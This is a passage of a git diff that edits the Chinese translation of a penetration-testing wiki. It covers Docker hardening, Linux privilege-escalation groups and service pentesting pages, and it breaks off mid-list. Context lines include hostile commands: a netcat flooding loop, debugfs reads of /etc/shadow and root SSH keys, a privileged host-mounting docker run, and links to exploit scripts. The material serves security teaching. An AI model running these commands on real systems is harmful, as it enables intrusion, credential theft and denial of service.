-- **标记系统**:SELinux为每个进程和文件系统对象分配唯一标签。 -- **策略执行**:它执行定义进程标签可以对系统内其他标签执行哪些操作的安全策略。 +- **标记系统**:SELinux为每个进程和文件系统对象分配一个唯一的标签。 +- **策略执行**:它执行安全策略,定义进程标签可以对系统内其他标签执行的操作。 - **容器进程标签**:当容器引擎启动容器进程时,通常会分配一个受限的SELinux标签,通常为`container_t`。 - **容器内文件标记**:容器内的文件通常标记为`container_file_t`。 - **策略规则**:SELinux策略主要确保具有`container_t`标签的进程只能与标记为`container_file_t`的文件进行交互(读取、写入、执行)。 @@ -229,7 +229,7 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t # While loop docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' ``` -- 带宽DoS +- 带宽 DoS ```bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` @@ -247,7 +247,7 @@ docker-privileged.md #### no-new-privileges -如果您正在运行一个容器,攻击者设法以低权限用户身份获得访问权限。如果您有一个 **配置错误的 suid 二进制文件**,攻击者可能会利用它并 **在容器内提升权限**。这可能允许他逃离容器。 +如果您正在运行一个容器,攻击者设法以低权限用户身份获得访问权限。如果您有一个 **配置错误的 suid 二进制文件**,攻击者可能会滥用它并 **在容器内提升权限**。这可能允许他逃离容器。 启用 **`no-new-privileges`** 选项运行容器将 **防止这种权限提升**。 ``` @@ -286,7 +286,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv 2. 通过命令前缀: `DOCKER_BUILDKIT=1 docker build .` 3. 通过在 Docker 配置中默认启用: `{ "features": { "buildkit": true } }`,然后重启 Docker。 -BuildKit 允许使用 `--secret` 选项来处理构建时机密,确保这些机密不会包含在镜像构建缓存或最终镜像中,使用命令如下: +BuildKit 允许使用 `--secret` 选项来使用构建时机密,确保这些机密不会包含在镜像构建缓存或最终镜像中,使用命令如下: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` @@ -311,22 +311,26 @@ file: ./my_secret_file.txt **gVisor** 是一个应用内核,使用 Go 编写,实施了 Linux 系统表面的相当大一部分。它包括一个名为 `runsc` 的 [Open Container Initiative (OCI)](https://www.opencontainers.org) 运行时,提供了 **应用程序与主机内核之间的隔离边界**。`runsc` 运行时与 Docker 和 Kubernetes 集成,使得运行沙箱容器变得简单。 -{% embed url="https://github.com/google/gvisor" %} +{{#ref}} +https://github.com/google/gvisor +{{#endref}} ### Kata Containers -**Kata Containers** 是一个开源社区,致力于构建一个安全的容器运行时,使用轻量级虚拟机,感觉和表现像容器,但提供 **使用硬件虚拟化技术作为第二道防线的更强工作负载隔离**。 +**Kata Containers** 是一个开源社区,致力于构建一个安全的容器运行时,使用轻量级虚拟机,感觉和表现像容器,但提供 **使用硬件虚拟化技术的更强工作负载隔离** 作为第二道防线。 -{% embed url="https://katacontainers.io/" %} +{{#ref}} +https://katacontainers.io/ +{{#endref}} ### 总结提示 -- **不要使用 `--privileged` 标志或在容器内挂载** [**Docker 套接字**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Docker 套接字允许生成容器,因此这是完全控制主机的简单方法,例如,通过使用 `--privileged` 标志运行另一个容器。 -- **不要在容器内以 root 身份运行。使用** [**不同用户**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **和** [**用户命名空间**](https://docs.docker.com/engine/security/userns-remap/)**。** 容器内的 root 与主机上的相同,除非通过用户命名空间重新映射。它仅受到 Linux 命名空间、能力和 cgroups 的轻微限制。 +- **不要使用 `--privileged` 标志或在容器内挂载** [**Docker socket**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Docker socket 允许生成容器,因此这是完全控制主机的简单方法,例如,通过使用 `--privileged` 标志运行另一个容器。 +- **不要在容器内以 root 身份运行。使用** [**不同用户**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **和** [**用户命名空间**](https://docs.docker.com/engine/security/userns-remap/)**。** 容器内的 root 与主机上的 root 是相同的,除非通过用户命名空间重新映射。它仅受到 Linux 命名空间、能力和 cgroups 的轻微限制。 - [**丢弃所有能力**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`),仅启用所需的能力** (`--cap-add=...`)。许多工作负载不需要任何能力,添加它们会增加潜在攻击的范围。 -- [**使用“no-new-privileges”安全选项**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)以防止进程获得更多权限,例如通过 suid 二进制文件。 +- [**使用“no-new-privileges”安全选项**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **以防止进程获得更多权限,例如通过 suid 二进制文件。** - [**限制容器可用的资源**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**。** 资源限制可以保护机器免受拒绝服务攻击。 -- **调整** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**、** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(或 SELinux)** 配置文件,以将容器可用的操作和系统调用限制到最低要求。 +- **调整** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**、** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(或 SELinux)** 配置文件,以将容器可用的操作和系统调用限制到最低要求。 - **使用** [**官方 docker 镜像**](https://docs.docker.com/docker-hub/official_images/) **并要求签名**,或基于它们构建自己的镜像。不要继承或使用 [后门](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) 镜像。还要将 root 密钥、密码短语存放在安全的地方。Docker 计划通过 UCP 管理密钥。 - **定期** **重建** 镜像以 **应用安全补丁到主机和镜像。** - 明智地管理您的 **秘密**,使攻击者难以访问它们。 @@ -338,7 +342,7 @@ file: ./my_secret_file.txt ## Docker 突破 / 权限提升 -如果您 **在 docker 容器内**,或者您有权访问 **docker 组中的用户**,您可以尝试 **逃逸并提升权限**: +如果您 **在 docker 容器内** 或者您有权访问 **docker 组中的用户**,您可以尝试 **逃逸并提升权限**: {{#ref}} docker-breakout-privilege-escalation/ @@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/ ## Docker 身份验证插件绕过 -如果您可以访问 docker 套接字或有权访问 **docker 组中的用户,但您的操作受到 docker 身份验证插件的限制**,请检查您是否可以 **绕过它:** +如果您可以访问 docker socket 或者有权访问 **docker 组中的用户,但您的操作受到 docker 身份验证插件的限制**,请检查您是否可以 **绕过它:** {{#ref}} authz-and-authn-docker-access-authorization-plugin.md @@ -354,7 +358,7 @@ authz-and-authn-docker-access-authorization-plugin.md ## 加固 Docker -- 工具 [**docker-bench-security**](https://github.com/docker/docker-bench-security) 是一个脚本,检查在生产中部署 Docker 容器的数十个常见最佳实践。所有测试都是自动化的,基于 [CIS Docker 基准 v1.3.1](https://www.cisecurity.org/benchmark/docker/)。\ +- 工具 [**docker-bench-security**](https://github.com/docker/docker-bench-security) 是一个脚本,检查在生产中部署 Docker 容器的数十个常见最佳实践。所有测试都是自动化的,并基于 [CIS Docker 基准 v1.3.1](https://www.cisecurity.org/benchmark/docker/)。\ 您需要从运行 docker 的主机或具有足够权限的容器中运行该工具。查找 **如何在 README 中运行它:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。 ## 参考 diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 4f19ef236..663920a96 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -14,9 +14,9 @@ # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` -这意味着**任何属于sudo或admin组的用户都可以以sudo身份执行任何操作**。 +这意味着 **任何属于 sudo 或 admin 组的用户都可以以 sudo 身份执行任何操作**。 -如果是这种情况,要**成为root,你只需执行**: +如果是这种情况,要 **成为 root,你只需执行**: ``` sudo su ``` @@ -26,7 +26,7 @@ sudo su ```bash find / -perm -4000 2>/dev/null ``` -如果你发现二进制文件 **pkexec 是一个 SUID 二进制文件**,并且你属于 **sudo** 或 **admin**,你可能可以使用 `pkexec` 以 sudo 身份执行二进制文件。\ +如果您发现二进制文件 **pkexec 是一个 SUID 二进制文件**,并且您属于 **sudo** 或 **admin**,您可能可以使用 `pkexec` 以 sudo 身份执行二进制文件。\ 这是因为通常这些是 **polkit 策略** 中的组。该策略基本上确定哪些组可以使用 `pkexec`。使用以下命令检查: ```bash cat /etc/polkit-1/localauthority.conf.d/* @@ -76,7 +76,7 @@ sudo su ## 员工组 -**staff**: 允许用户在不需要根权限的情况下对系统进行本地修改(`/usr/local`)(注意,`/usr/local/bin`中的可执行文件在任何用户的PATH变量中,并且它们可能会“覆盖”在`/bin`和`/usr/bin`中具有相同名称的可执行文件)。与更相关于监控/安全的“adm”组进行比较。 [\[source\]](https://wiki.debian.org/SystemGroups) +**staff**: 允许用户在不需要根权限的情况下对系统进行本地修改(`/usr/local`)(请注意,`/usr/local/bin`中的可执行文件在任何用户的PATH变量中,并且它们可能会“覆盖”`/bin`和`/usr/bin`中同名的可执行文件)。与更相关于监控/安全的“adm”组进行比较。 [\[source\]](https://wiki.debian.org/SystemGroups) 在debian发行版中,`$PATH`变量显示`/usr/local/`将以最高优先级运行,无论您是否是特权用户。 ```bash @@ -96,7 +96,7 @@ $ cat /etc/crontab | grep run-parts 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` -或当一个新的 ssh 会话登录时。 +或当一个新的ssh会话登录时。 ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] @@ -141,7 +141,7 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` -请注意,使用 debugfs 你也可以 **写入文件**。例如,要将 `/tmp/asd1.txt` 复制到 `/tmp/asd2.txt`,你可以这样做: +请注意,使用 debugfs 您也可以 **写入文件**。例如,要将 `/tmp/asd1.txt` 复制到 `/tmp/asd2.txt`,您可以执行: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt @@ -150,13 +150,13 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ## 视频组 -使用命令 `w` 你可以找到**谁已登录系统**,它将显示如下输出: +使用命令 `w` 你可以找到**谁登录了系统**,它将显示如下输出: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` -**tty1** 表示用户 **yossi 正在物理登录** 到机器上的一个终端。 +**tty1** 表示用户 **yossi 物理上登录** 到机器上的一个终端。 **video group** 有权限查看屏幕输出。基本上,你可以观察屏幕。为了做到这一点,你需要 **抓取当前屏幕上的图像** 的原始数据,并获取屏幕使用的分辨率。屏幕数据可以保存在 `/dev/fb0`,你可以在 `/sys/class/graphics/fb0/virtual_size` 找到该屏幕的分辨率。 ```bash @@ -173,7 +173,7 @@ cat /sys/class/graphics/fb0/virtual_size ## Root Group -看起来默认情况下**root组的成员**可以访问**修改**某些**服务**配置文件或某些**库**文件或**其他有趣的东西**,这些都可以用来提升权限... +看起来默认情况下**root组的成员**可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**,这些都可以用来提升权限... **检查root成员可以修改哪些文件**: ```bash @@ -199,11 +199,15 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chr ../docker-security/ {{#endref}} -如果你对 docker socket 有写权限,请阅读[**这篇关于如何通过滥用 docker socket 提升权限的文章**](../#writable-docker-socket)**。** +如果你对 docker socket 有写权限,请阅读[**这篇关于如何利用 docker socket 升级权限的文章**](../#writable-docker-socket)**。** -{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} +{{#ref}} +https://github.com/KrustyHack/docker-privilege-escalation +{{#endref}} -{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} +{{#ref}} +https://fosterelli.co/privilege-escalation-via-docker.html +{{#endref}} ## lxc/lxd 组 @@ -219,6 +223,6 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chr ## Auth 组 在 OpenBSD 中,**auth** 组通常可以在 _**/etc/skey**_ 和 _**/var/db/yubikey**_ 文件夹中写入(如果它们被使用)。\ -这些权限可能会被滥用,使用以下漏洞来**提升权限**到 root:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +这些权限可能会被以下漏洞利用,以**升级权限**到 root:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index 1c461bbd9..ab3b6aa23 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,6 +1,5 @@ {{#include ../../banners/hacktricks-training.md}} - # Sudo/Admin Groups ## **PE - 方法 1** @@ -25,7 +24,7 @@ sudo su ```bash find / -perm -4000 2>/dev/null ``` -如果你发现二进制文件 pkexec 是一个 SUID 二进制文件,并且你属于 sudo 或 admin 组,你可能可以使用 pkexec 作为 sudo 执行二进制文件。检查以下内容: +如果您发现二进制文件 pkexec 是一个 SUID 二进制文件,并且您属于 sudo 或 admin,您可能可以使用 pkexec 作为 sudo 执行二进制文件。检查以下内容: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` @@ -41,7 +40,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` -**这不是因为你没有权限,而是因为你没有通过 GUI 连接**。对此问题有一个解决方法在这里: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。你需要 **2 个不同的 ssh 会话**: +**这不是因为你没有权限,而是因为你没有通过 GUI 连接**。对此问题有一个解决方法在这里: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。你需要 **2 个不同的 ssh 会话**: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -101,7 +100,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` **tty1** 表示用户 **yossi 物理上登录** 到机器上的一个终端。 -**video group** 有权限查看屏幕输出。基本上,你可以观察屏幕。为了做到这一点,你需要 **抓取当前屏幕上的图像** 的原始数据,并获取屏幕使用的分辨率。屏幕数据可以保存在 `/dev/fb0`,你可以在 `/sys/class/graphics/fb0/virtual_size` 找到该屏幕的分辨率。 +**video group** 有权限查看屏幕输出。基本上,你可以观察屏幕。为了做到这一点,你需要 **抓取当前屏幕上的图像** 的原始数据,并获取屏幕使用的分辨率。屏幕数据可以保存在 `/dev/fb0` 中,你可以在 `/sys/class/graphics/fb0/virtual_size` 找到该屏幕的分辨率。 ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size @@ -116,7 +115,7 @@ cat /sys/class/graphics/fb0/virtual_size # Root Group -看起来默认情况下**root组的成员**可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**,这些都可以用来提升权限... +看起来默认情况下**root组的成员**可以访问**修改**某些**服务**配置文件或某些**库**文件或**其他有趣的东西**,这些都可以用来提升权限... **检查root成员可以修改哪些文件**: ```bash @@ -126,9 +125,13 @@ find / -group root -perm -g=w 2>/dev/null 您可以将主机的根文件系统挂载到实例的卷中,因此当实例启动时,它会立即加载一个 `chroot` 到该卷。这实际上使您在机器上获得了 root 权限。 -{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} +{{#ref}} +https://github.com/KrustyHack/docker-privilege-escalation +{{#endref}} -{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} +{{#ref}} +https://fosterelli.co/privilege-escalation-via-docker.html +{{#endref}} # lxc/lxd 组 diff --git a/src/misc/references.md b/src/misc/references.md index 9e5dd6281..eb3792a1f 100644 --- a/src/misc/references.md +++ b/src/misc/references.md @@ -1,49 +1,95 @@ {{#include ../banners/hacktricks-training.md}} -{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} +{{#ref}} +https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick +{{#endref}} -{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %} +{{#ref}} +https://hausec.com/pentesting-cheatsheet/#_Toc475368982 +{{#endref}} -{% embed url="https://anhtai.me/pentesting-cheatsheet/" %} +{{#ref}} +https://anhtai.me/pentesting-cheatsheet/ +{{#endref}} -{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %} +{{#ref}} +https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html +{{#endref}} -{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %} +{{#ref}} +https://ired.team/offensive-security-experiments/offensive-security-cheetsheets +{{#endref}} -{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %} +{{#ref}} +https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html +{{#endref}} -{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %} +{{#ref}} +https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md +{{#endref}} -{% embed url="https://anhtai.me/oscp-fun-guide/" %} +{{#ref}} +https://anhtai.me/oscp-fun-guide/ +{{#endref}} -{% embed url="https://www.thehacker.recipes/" %} +{{#ref}} +https://www.thehacker.recipes/ +{{#endref}} -{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %} +{{#ref}} +https://github.com/swisskyrepo/PayloadsAllTheThings +{{#endref}} -{% embed url="https://gtfobins.github.io/" %} +{{#ref}} +https://gtfobins.github.io/ +{{#endref}} -{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %} +{{#ref}} +https://github.com/RistBS/Awesome-RedTeam-Cheatsheet +{{#endref}} -{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %} +{{#ref}} +https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet +{{#endref}} -{% embed url="https://hideandsec.sh/" %} +{{#ref}} +https://hideandsec.sh/ +{{#endref}} -{% embed url="https://cheatsheet.haax.fr/" %} +{{#ref}} +https://cheatsheet.haax.fr/ +{{#endref}} -{% embed url="https://infosecwriteups.com/" %} +{{#ref}} +https://infosecwriteups.com/ +{{#endref}} -{% embed url="https://www.exploit-db.com/" %} +{{#ref}} +https://www.exploit-db.com/ +{{#endref}} -{% embed url="https://wadcoms.github.io/" %} +{{#ref}} +https://wadcoms.github.io/ +{{#endref}} -{% embed url="https://lolbas-project.github.io" %} +{{#ref}} +https://lolbas-project.github.io +{{#endref}} -{% embed url="https://pentestbook.six2dez.com/" %} +{{#ref}} +https://pentestbook.six2dez.com/ +{{#endref}} -{% embed url="https://www.hackingarticles.in/" %} +{{#ref}} +https://www.hackingarticles.in/ +{{#endref}} -{% embed url="https://pentestlab.blog/" %} +{{#ref}} +https://pentestlab.blog/ +{{#endref}} -{% embed url="https://ippsec.rocks/" %} +{{#ref}} +https://ippsec.rocks/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md index d2145fb8c..478a80b8f 100644 --- a/src/network-services-pentesting/5439-pentesting-redshift.md +++ b/src/network-services-pentesting/5439-pentesting-redshift.md @@ -8,6 +8,8 @@ 有关更多信息,请查看: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/9100-pjl.md b/src/network-services-pentesting/9100-pjl.md index 9b699625d..c225739a2 100644 --- a/src/network-services-pentesting/9100-pjl.md +++ b/src/network-services-pentesting/9100-pjl.md @@ -2,7 +2,7 @@ # 基本信息 -从 [这里](http://hacking-printers.net/wiki/index.php/Port_9100_printing):原始打印是我们定义的连接到网络打印机的9100/tcp端口的过程。这是CUPS和Windows打印架构与网络打印机通信的默认方法,因为它被认为是“_用于打印机的最简单、最快和通常最可靠的网络协议_”。原始9100端口打印,也称为JetDirect、AppSocket或PDL数据流,实际上**本身并不是打印协议**。相反,**所有发送的数据都由打印设备直接处理**,就像通过TCP的并行连接。与LPD、IPP和SMB相比,这可以向客户端发送直接反馈,包括状态和错误消息。这样的**双向通道**使我们能够直接**访问** **PJL**、**PostScript**或**PCL**命令的**结果**。因此,原始9100端口打印——几乎所有网络打印机都支持——被用作与PRET和PFT进行安全分析的通道。 +从 [这里](http://hacking-printers.net/wiki/index.php/Port_9100_printing):原始打印是我们定义的连接到网络打印机的9100/tcp端口的过程。这是CUPS和Windows打印架构与网络打印机通信的默认方法,因为它被认为是“_用于打印机的最简单、最快且通常是最可靠的网络协议_”。原始9100端口打印,也称为JetDirect、AppSocket或PDL数据流,实际上**本身并不是打印协议**。相反,**所有发送的数据都由打印设备直接处理**,就像通过TCP的并行连接一样。与LPD、IPP和SMB相比,这可以向客户端发送直接反馈,包括状态和错误消息。这样的**双向通道**使我们能够直接**访问** **PJL**、**PostScript**或**PCL**命令的**结果**。因此,原始9100端口打印——几乎所有网络打印机都支持——被用作与PRET和PFT进行安全分析的通道。 如果你想了解更多关于[**黑客打印机的信息,请阅读此页面**](http://hacking-printers.net/wiki/index.php/Main_Page)。 @@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file 这是您想要用来滥用打印机的工具: -{% embed url="https://github.com/RUB-NDS/PRET" %} +{{#ref}} +https://github.com/RUB-NDS/PRET +{{#endref}} # **Shodan** diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 86bbac1d8..7292c8ce9 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -145,7 +145,7 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j "name" : "how to get a job" }' ``` -该命令将创建一个 **新索引**,名为 `bookindex`,其文档类型为 `books`,具有属性 "_bookId_"、"_author_"、"_publisher_" 和 "_name_" +该命令将创建一个名为 `bookindex` 的 **新索引**,其文档类型为 `books`,具有属性 "_bookId_"、"_author_"、"_publisher_" 和 "_name_"。 注意 **新索引现在出现在列表中**: @@ -161,11 +161,12 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j ```bash msf > use auxiliary/scanner/elasticsearch/indices_enum ``` -{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %} +{{#ref}} +https://github.com/theMiddleBlue/nmap-elasticsearch-nse +{{#endref}} ## Shodan - `port:9200 elasticsearch` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md index 229350086..2a6e58232 100644 --- a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md +++ b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md @@ -4,7 +4,9 @@ # **默认密码** -{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %} +{{#ref}} +http://www.vulnerabilityassessment.co.uk/passwordsC.htm +{{#endref}} # 配置文件 ```text diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 8c3cc5e27..557bfe5b0 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -27,9 +27,11 @@ PORT STATE SERVICE MS14-068 漏洞允许攻击者篡改合法用户的 Kerberos 登录令牌,以虚假声称提升权限,例如成为域管理员。此虚假声明被域控制器错误地验证,从而使未经授权的访问 Active Directory 林中的网络资源成为可能。 -{% embed url="https://adsecurity.org/?p=541" %} +{{#ref}} +https://adsecurity.org/?p=541 +{{#endref}} -其他漏洞:[https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) +其他漏洞: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) ## HackTricks 自动命令 ``` diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index cf61acd7a..8b2dd6b2d 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -2,8 +2,6 @@ {{#include ../banners/hacktricks-training.md}} - - ## 基本信息 **SSH (安全外壳或安全套接字外壳)** 是一种网络协议,允许通过不安全的网络与计算机建立安全连接。它对于在访问远程系统时维护数据的机密性和完整性至关重要。 @@ -15,7 +13,7 @@ **SSH 服务器:** - [openSSH](http://www.openssh.org) – OpenBSD SSH,自 Windows 10 起在 BSD、Linux 发行版和 Windows 中提供 -- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – 针对内存和处理器资源有限环境的 SSH 实现,随 OpenWrt 提供 +- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – 针对内存和处理器资源有限环境的 SSH 实现,包含在 OpenWrt 中 - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows 的 SSH 实现,客户端常用,但服务器的使用较少 - [CopSSH](https://www.itefix.net/copssh) – Windows 的 OpenSSH 实现 @@ -23,7 +21,7 @@ - [libssh](https://www.libssh.org) – 多平台 C 库,实现 SSHv2 协议,支持 [Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/) 和 [R](https://github.com/ropensci/ssh) 的绑定;被 KDE 用于 sftp,GitHub 用于 git SSH 基础设施 - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – 用 ANSI C 编写的 SSHv2 服务器库,针对嵌入式、RTOS 和资源受限环境 -- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – 基于 Apache MINA 的 Apache SSHD Java 库 +- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD Java 库基于 Apache MINA - [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 协议库 ## 枚举 @@ -38,7 +36,7 @@ ssh-audit 是一个用于 ssh 服务器和客户端配置审计的工具。 [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) 是一个来自 [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) 的更新分支 -**功能:** +**特点:** - 支持 SSH1 和 SSH2 协议服务器; - 分析 SSH 客户端配置; @@ -73,7 +71,7 @@ $ python3 ssh-audit ``` [查看实际操作 (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) -### 服务器的公钥 SSH +### 服务器的公共 SSH 密钥 ```bash ssh-keyscan -t rsa -p ``` @@ -107,7 +105,7 @@ msf> use scanner/ssh/ssh_enumusers ### 私钥暴力破解 -如果你知道一些可以使用的 ssh 私钥... 那我们试试吧。你可以使用 nmap 脚本: +如果你知道一些可以使用的 ssh 私钥... 那我们就试试吧。你可以使用 nmap 脚本: ``` https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` @@ -119,11 +117,13 @@ msf> use scanner/ssh/ssh_identify_pubkeys #### 已知的坏密钥可以在这里找到: -{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %} +{{#ref}} +https://github.com/rapid7/ssh-badkeys/tree/master/authorized +{{#endref}} -#### 弱 SSH 密钥 / Debian 可预测 PRNG +#### 弱 SSH 密钥 / Debian 可预测的 PRNG -某些系统在生成加密材料时使用的随机种子存在已知缺陷。这可能导致密钥空间显著减少,从而可以被暴力破解。受弱 PRNG 影响的 Debian 系统上生成的预生成密钥集可以在这里找到:[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。 +某些系统在用于生成加密材料的随机种子中存在已知缺陷。这可能导致密钥空间显著减少,从而可以被暴力破解。受弱 PRNG 影响的 Debian 系统上生成的预生成密钥集可以在这里找到:[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。 您应该在这里查找受害者机器的有效密钥。 @@ -167,14 +167,14 @@ msf> use scanner/ssh/ssh_identify_pubkeys ## SSH-Snake -如果您想使用在系统上发现的 SSH 私钥遍历网络,利用每个系统上的每个私钥连接新主机,那么 [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) 是您所需要的。 +如果您想使用发现的 SSH 私钥遍历网络,在每个系统上利用每个私钥连接到新主机,那么 [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) 是您所需要的。 SSH-Snake 自动且递归地执行以下任务: 1. 